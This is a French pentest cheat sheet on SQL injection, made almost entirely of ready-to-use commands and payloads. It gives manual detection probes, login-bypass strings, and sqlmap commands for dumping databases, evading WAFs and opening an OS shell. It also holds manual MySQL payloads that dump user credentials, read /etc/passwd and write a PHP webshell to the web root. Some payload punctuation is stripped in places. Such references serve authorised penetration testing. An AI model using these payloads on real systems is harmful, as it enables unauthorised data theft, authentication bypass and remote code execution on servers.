sqliwebexploitation
MDstable
SQL Injection
Détection et exploitation SQLi : sqlmap, tests manuels, bypass WAF
snippetintermediate 2026-05-10 2 min read
sqliwebexploitationpentestsqlmap
Objectifs
Exploiter des injections SQL pour extraire des données, bypasser l'auth ou obtenir un RCE.
⚠ Attention — Documenter chaque payload testé avec la réponse obtenue pour le rapport.
Détection manuelle
bash
Variables
{{TARGET}}
# Error-based — chercher des messages d'erreur SQL{{TARGET}}/page.phpid1{{TARGET}}/page.phpid1 AND 11--{{TARGET}}/page.phpid1 AND 12-- # réponse différente = vulnérable# Time-based blind (MySQL){{TARGET}}/page.phpid1 AND SLEEP5--# UNION — trouver le nombre de colonnes{{TARGET}}/page.phpid1 ORDER BY 3--{{TARGET}}/page.phpid0 UNION SELECT 1databaseuser--# Bypass login# username: admin'--# username: ' OR 1=1-- -
Sqlmap
bash
Variables
{{TARGET}}
{{OUTPUT_DIR}}
# Détection + bases de donnéessqlmap -u "{{TARGET}}/page.php?id=1" --batch --dbs# Dump tablesqlmap -u "{{TARGET}}/page.php?id=1" --batch -D mydb -T users --dump -o {{OUTPUT_DIR}}/dump.txt# POST datasqlmap -u "{{TARGET}}/login.php" --data="user=admin&pass=test" --batch --dbs# Bypass WAFsqlmap -u "{{TARGET}}/page.php?id=1" --tamper=space2comment,randomcase --level=5 --risk=3# OS shell (si FILE priv)sqlmap -u "{{TARGET}}/page.php?id=1" --batch --os-shell
Extraction manuelle (MySQL)
bash
# Lister les DBsUNION SELECT 1group_concatschema_name3 FROM information_schemaschemata--# Tables d'une DBUNION SELECT 1group_concattable_name3 FROM information_schematables WHERE table_schemadatabase--# Dump credentialsUNION SELECT 1group_concatusername0x3apassword3 FROM users--# Lire un fichier' UNION SELECT 1,load_file('/etc/passwd3--# Ecrire un webshell' UNION SELECT 1,"<?php system($_GET['c']); ?>",3 INTO OUTFILE '/var/www/html/sh.php--
Checklist SQLi0/7
Pièges fréquents
- WAF : utiliser tampers sqlmap (
space2comment,randomcase,between) - Blind : variations de timing ou de contenu, pas d'erreur visible
- OS-shell :
secure_file_privbloque souvent lecture/écriture de fichiers - Charset : ajouter
--charset=utf8en cas de problèmes d'encodage
Voir aussi
OPS·BRAIN v1.075 notes · Securitylocal